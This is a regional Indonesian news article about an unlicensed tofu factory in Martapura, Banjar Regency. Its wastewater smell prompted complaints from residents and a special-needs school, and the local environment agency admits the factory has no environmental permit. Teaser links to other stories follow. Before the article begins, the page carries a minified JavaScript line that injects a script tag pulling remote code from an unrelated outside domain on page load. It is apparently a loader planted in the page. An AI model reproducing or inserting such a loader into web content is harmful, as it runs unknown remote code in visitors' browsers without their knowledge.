(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Dinas Lingkungan Hidup (DLH) Kabupaten Banjar ‘kecolongan’, pabrik tahu yang diduga mencemari lingkungan dipastikan tak kantongi izin. Setelah diprotes warga dan pihak Sekolah Luar Biasa Negri (SLBN) 1 Martapura terkait keberadaan air limbah pabrik tahu menimbulkan bau tak sedap yang diduga mencemari lingkungan.
Akhirnya, Dinas Lingkungan Hidup (DLH) Kabupaten Banjar mengakui pabrik tahu itu berdiri masih belum miliki izin lingkungan.
Kepala Seksi Pengaduan dan Sengketa Lingkungan DLH Kabupaten Banjar, Yanuarsa MT membenarkan, sebelumnya adanya laporan dari warga atas bau busuk yang ditimbulkan oleh limbah air pabrik tahu di jalan Candra Kirana, Kelurahan Indra Sari, Kecamatan Martapura, Kabupaten Banjar.
Setelah dilakukan pengecekan ke pabrik tahu milik CV Karya Mandiri, ternyata memang ada beberapa hal yang belum dilengkapi perusahaan, akibatnya bau yang ditimbulkan masih ada dan dirasakan warga.
Baca : Bau Tak Sedap Pencemaran Limbah Pabrik Tahu Ganggu Proses Belajar di SLBN 1 Martapura
“Permasalahan seperti ini memang harus kami arahkan, pemilik usaha juga koperatif sehingga mengikuti arahan dari kami, namun hingga hari ini alasan mereka masih menunggu microba yang nantinya dimasukan ke penampungan limbah mereka, sehingga bau yang ditimbulkan bisa berkurang,†jelasnya.
DLH Banjar masih belum memikirkan akan menindak pelaku usaha, mengingat keberlangsungan usaha tersebut masih berjalan. Sehingga masih bisa dicarikan solusi lain untuk permasalahan tersebut.
“Kami sudah menyurati yang bersangkutan, namun tentunya tidak mau menunggu terlalu lama kita akan desak terus, bau dari limbah ini memang mengganggu, diharapkan dalam minggu ini sudah harus ada solusinya,†katanya.
Ditanya mengenai perizinan sebelum usaha berdiri, dirinya mengakui hingga sekarang pihak pabrik masih belum mengantongi izin lingkungan. Sehingga yang bersangkutan harus kembali ke DLH Banjar untuk mendapatkan kembali arahan izin lingkungan.
“Mengenai izin mereka memang masih belum punya, umumnya dimana-mana warga seringnya usaha duluan baru izin diurus. Jadi sementara ini ya kita bina dulu, namun pembinaan juga ada batasnya, karena dikita sendiri juga ada seksi penegakan hukum, saya sangat berharap bulan ini sudah tuntas semuanya,†pungkasnya. (rendy)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.